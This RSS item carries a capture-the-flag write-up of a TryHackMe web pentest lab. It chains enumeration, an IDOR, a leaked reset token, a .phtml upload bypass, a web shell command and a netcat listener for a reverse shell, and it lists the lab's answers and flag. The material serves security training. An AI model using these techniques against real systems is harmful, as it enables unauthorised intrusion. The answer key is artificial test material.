            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Amr Sebie]]></dc:creator>
            <pubDate>Fri, 22 May 2026 23:07:05 GMT</pubDate>
            <atom:updated>2026-05-28T20:12:52.983Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab link:</strong> <a href="https://tryhackme.com/room/guidedpentestweb">https://tryhackme.com/room/guidedpentestweb</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxsV4sP3JnL00SQI5m8YtA.png" /></figure><h3>Task 1 — Introduction</h3><p>In this room, we perform a full web application penetration test against the RecruitX application.<br>The goal is to move from basic enumeration to Remote Code Execution (RCE) by chaining multiple vulnerabilities together.</p><p>After starting the machine and AttackBox, we verify the application is accessible through the browser.</p><p><strong>Answer:</strong> No answer needed</p><h3>Task 2 — Reconnaissance and Enumeration</h3><p>The first phase in any pentest is reconnaissance.<br>We begin by identifying exposed services and hidden endpoints.</p><h3>#2.1 Port Scanning</h3><p>We run an Nmap scan:</p><pre>nmap -sV -sC -p- MACHINE_IP</pre><h3>Discovered Services</h3><ul><li><strong>22</strong> → SSH</li><li><strong>80</strong> → Apache Web Server</li><li><strong>3306</strong> → MySQL</li><li><strong>8080</strong> → Apache Default Page</li></ul><h3>Analysis</h3><p>The target uses a classic <strong>LAMP stack</strong>:</p><ul><li>Linux</li><li>Apache</li><li>MySQL</li><li>PHP</li></ul><p>This commonly leads to vulnerabilities like:</p><ul><li>SQL Injection</li><li>IDOR</li><li>File Upload flaws</li><li>Authentication weaknesses</li></ul><h3>#2.2 HTTP Header Analysis</h3><p>We inspect HTTP headers:</p><pre>curl -I http://MACHINE_IP</pre><h3>Findings</h3><ul><li>Apache version: <strong>2.4.58</strong></li><li>PHP sessions via <strong>PHPSESSID</strong></li><li>PHP backend confirmed</li></ul><h3>#2.3 Directory Enumeration</h3><p>We enumerate hidden directories using Gobuster:</p><pre>gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php</pre><h3>Important Endpoints</h3><ul><li>/admin</li><li>/api</li><li>/reset.php</li><li>/uploads</li><li>/profile.php</li><li>/dashboard.php</li></ul><h3>Analysis</h3><p>Interesting attack surfaces:</p><ul><li>/admin → Privilege escalation target</li><li>/api → Information disclosure</li><li>/reset.php → Password reset weaknesses</li><li>/uploads → Potential RCE</li></ul><h3>#2.4 Login</h3><p>We log in using the provided credentials:</p><pre>Email: testuser@fake.thm<br>Password: Password123</pre><p>After login, we are redirected to /dashboard.php.</p><h3>#2.5 API Enumeration</h3><p>We inspect the API:</p><pre>curl http://MACHINE_IP/api/</pre><h3>Response</h3><pre>{<br>  &quot;endpoints&quot;: [<br>    &quot;/api/user&quot;,<br>    &quot;/api/jobs&quot;,<br>    &quot;/api/applications&quot;<br>  ]<br>}</pre><h3>Analysis</h3><p>The API exposes internal endpoints without authentication.</p><h3>Answers — Task 2</h3><ul><li>Apache version: <strong>2.4.58</strong></li><li>Database service: <strong>MySQL</strong></li><li>Password reset path: <strong>/reset.php</strong></li></ul><h3>Task 3 — IDOR</h3><p>We now test for <strong>Insecure Direct Object Reference (IDOR)</strong> vulnerabilities.</p><h3>#3.1 Finding the Vulnerability</h3><p>While logged in, our profile URL appears as:</p><pre>/profile.php?id=6</pre><p>Changing the ID value:</p><pre>id=6 → id=1</pre><p>allows us to access another user’s profile.</p><h3>Result</h3><p>We discover the administrator account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*nJPilRVaUuDAxt7VkgJUow.png" /></figure><ul><li><strong>Sarah Mitchell</strong></li></ul><h3>API IDOR</h3><p>We test the API directly:</p><pre>curl http://MACHINE_IP/api/user?id=1</pre><h3>Response</h3><pre>{<br>  &quot;id&quot;:1,<br>  &quot;name&quot;:&quot;Sarah Mitchell&quot;,<br>  &quot;role&quot;:&quot;administrator&quot;<br>}</pre><h3>Impact</h3><p>We can enumerate:</p><ul><li>Usernames</li><li>Emails</li><li>Roles</li><li>Account creation dates</li></ul><h3>Answers — Task 3</h3><ul><li>Administrator name: <strong>Sarah Mitchell</strong></li><li>James Crawford role: <strong>hiring_manager</strong></li></ul><h3>Task 4 — Weak Password Reset</h3><p>We now target the administrator account using the password reset functionality.</p><h3>Reset Flow Analysis</h3><p>We visit:</p><pre>/reset.php</pre><p>Submitting our email reveals the reset token directly in the response.</p><h3>Generated Tokens</h3><pre>784512<br>291037<br>503648</pre><h3>Analysis</h3><p>The reset token:</p><ul><li>Is only <strong>6 digits</strong></li><li>Has weak entropy</li><li>Is exposed directly to the user</li></ul><h3>Administrator Account Takeover</h3><p>Using:</p><pre>s.mitchell@recruitx.thm</pre><p>we generate a reset token for the administrator and reset the password successfully.</p><h3>Result</h3><p>We gain access to the <strong>Administrator</strong> account.</p><h3>Answers — Task 4</h3><ul><li>Reset token length: <strong>6</strong></li><li>Role after login: <strong>Administrator</strong></li></ul><h3>Task 5 — Admin Panel Access</h3><p>Using the administrator account, we access:</p><pre>/admin</pre><p>Inside the panel, we discover a file upload feature:</p><pre>/admin/upload.php</pre><h3>Upload Analysis</h3><p>The upload form uses the HTML attribute:</p><pre>accept</pre><p>to restrict file types client-side.</p><h3>Upload Location</h3><pre>/uploads/documents/</pre><h3>Upload Bypass</h3><h3>Rejected Files</h3><pre>test.txt<br>test.php</pre><h3>Successful Bypass</h3><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*IQ8ukdelc281iVuEaz8hHA.png" /></figure><pre>test.phtml</pre><p>The application blocks .php but fails to block .phtml.</p><h3>Verification</h3><p>Visiting:</p><pre>/uploads/documents/test.phtml</pre><p>executes PHP code successfully.</p><h3>Answers — Task 5</h3><ul><li>Upload handler: <strong>upload.php</strong></li><li>Restriction attribute: <strong>accept</strong></li><li>Bypass extension: <strong>.phtml</strong></li></ul><h3>Task 6 — Remote Code Execution</h3><p>We now achieve full command execution.</p><h3>Web Shell</h3><p>We create:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*tqRTq_HaTznSoIYpVMxiWQ.png" /></figure><p>Saved as:</p><pre>shell.phtml</pre><h3>Command Execution</h3><pre>curl &quot;http://MACHINE_IP/uploads/documents/shell.phtml?cmd=whoami&quot;</pre><h3>Result</h3><pre>www-data</pre><h3>Reverse Shell</h3><p>Start listener:</p><pre>nc -lvnp 4444</pre><p>Trigger reverse shell through the web shell and receive an interactive session.</p><h3>Flag</h3><pre>cat /var/www/flag.txt</pre><h3>Result</h3><pre>THM{ch41n3d_vulns_4r3_d3v4st4t1ng}</pre><h3>Answers — Task 6</h3><ul><li>Web shell user: <strong>www-data</strong></li><li>Hostname: <strong>recruitx-prod</strong></li><li>Flag: <strong>THM{ch41n3d_vulns_4r3_d3v4st4t1ng}</strong></li></ul><h3>Task 7 — The Attack Chain</h3><p>This room demonstrates how multiple vulnerabilities can be chained together.</p><h3>Attack Path</h3><ol><li>Enumeration</li><li>IDOR</li><li>Weak password reset</li><li>Admin account takeover</li><li>File upload bypass</li><li>Remote Code Execution</li></ol><h3>Key Lesson</h3><p>None of the vulnerabilities alone caused full compromise, but together they led to complete server access.</p><h3>Answers — Task 7</h3><ul><li>Vulnerabilities chained together: <strong>4</strong></li><li>Recommended validation approach: <strong>Allowlist</strong></li></ul><h3>Task 8 — Conclusion</h3><p>This room provided a realistic web application penetration testing workflow from reconnaissance to RCE.</p><h3>Key Takeaways</h3><ul><li>Enumeration is critical</li><li>Small vulnerabilities can chain into full compromise</li><li>Client-side validation is not security</li><li>File uploads must use allowlists</li><li>Password reset functionality must be implemented securely</li></ul><p><strong>Answer:</strong> No answer needed</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a237997fd2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>